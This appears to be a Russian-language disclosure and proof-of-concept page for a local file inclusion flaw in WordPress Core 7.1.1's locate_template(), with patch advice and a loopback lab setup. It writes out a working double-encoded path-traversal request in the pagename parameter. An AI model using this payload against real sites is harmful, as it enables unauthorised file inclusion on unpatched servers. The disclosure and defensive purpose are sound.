
Proof-of-concept и пакет раскрытия для CVE-2026-87902 — неаутентифицированное локальное включение файлов в WordPress Core через locate_template(), с loopback-лабораторией и рекомендациями по патчу.
abraxaslabs.tech · github.com/abraxas · @abraxas_null · CVE-2026-87902
WordPress — WordPress Core 7.1.1 — WordPress
WordPress Core уязвим к локальному включению файлов (Local File Inclusion) через функцию locate_template() в различных версиях вплоть до 7.1.1 включительно.
| CVE | CVE-2026-87902 · CVE.org |
| CWE | CWE-98 |
| CVSS | High: 8.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Продукт | WordPress Core |
| Затронуто | все версии вплоть до 7.1.1 (включительно) |
| Исправлено | 7.1.2 и новее |
| Аутентификация | не требуется (см. карту исходников) |
| Лицензия | GNU Affero GPL v3.0 |
| Лаборатория | только 127.0.0.1 · пакет для раскрытия вендору/клиенту, не сканер |
wp-includes/template.php get_page_template + locate_template в 7.1.1. Патч 7.1.2 _wp_is_template_path_allowed и validate_file для декодированного pagename.
GET/?page_id={id}&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Fuploads%252Fghsa7hp8-witnessGET /?page_id=<опубликованная страница>&pagename=<дважды закодированный templates/../../../uploads/ghsa7hp8-witness>WP_Query parse_query is_page из page_id; get_posts заменяет WHERE на ID=page_idget_page_template urldecode pagename затем page-{$pagename}.phplocate_template file_exists(stylesheet_path + '/' + template_name) без ограниченияtemplate-loader realpath + includeНеаутентифицированный ответ 200 содержит GHSA7HP8-WITNESS и wp_version=7.1.1. Контрольный GET /?page_id=N — нет.
Сделайте это в первую очередь: Обновите WordPress Core до 7.1.2 или новее.
Проверка после обновления
CVE-2026-87902-Abraxas-Labs.py против пропатченной сборки: отображённое свидетельство не должно появляться.Если вы не можете обновиться немедленно
Цель — только http://127.0.0.1:8088 (или loopback, который вы привязали). Не направляйте этот скрипт в интернет.
python3 CVE-2026-87902-Abraxas-Labs.py
Успех — это свидетельство выше в теле ответа. Обычный HTML 200 — это не оно.
Loopback-стек, использованный для воспроизведения. Официальные образы, если только Dockerfile в этой папке не собирает из исходников.
cd lab
docker compose up --force-recreate
Привяжите дерево уязвимого продукта рядом с Compose, если YAML монтирует локальный каталог (zip плагина / тег исходников из таблицы версий). Публикуйте только 127.0.0.1.
# CVE-2026-87902 / GHSA-7hp8-65ch-5whp
CWE: CWE-98
CVSS: High 8.1 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H (Wordfence). GitHub advisory: Critical.
## Description
An unauthenticated attacker can make `get_page_template()` page-template resolution include a chosen readable local `.php` file outside the active theme directories. `locate_template()` in WordPress <= 7.1.1 concatenates the caller-supplied template name onto the theme path and does not verify the result stays inside the theme. The core-reachable vector is the url-decoded `pagename` query variable. WordPress 7.1.2 adds `_wp_is_template_path_allowed()`.
## Product
WordPress 7.1.1 (fixed in 7.1.2, backported through 4.7.37). Lab oracle is LFI of a witness PHP file, not RCE.
Этот пакет раскрытия лицензирован под GNU Affero General Public License v3.0. См. LICENSE.
Этот пакет предназначен для вендора, владельца сайта и лицензированных лабораторий. Скрипт обращается к 127.0.0.1. Использование его против систем, которыми вы не владеете, не авторизовано Abraxas Labs. Без гарантий.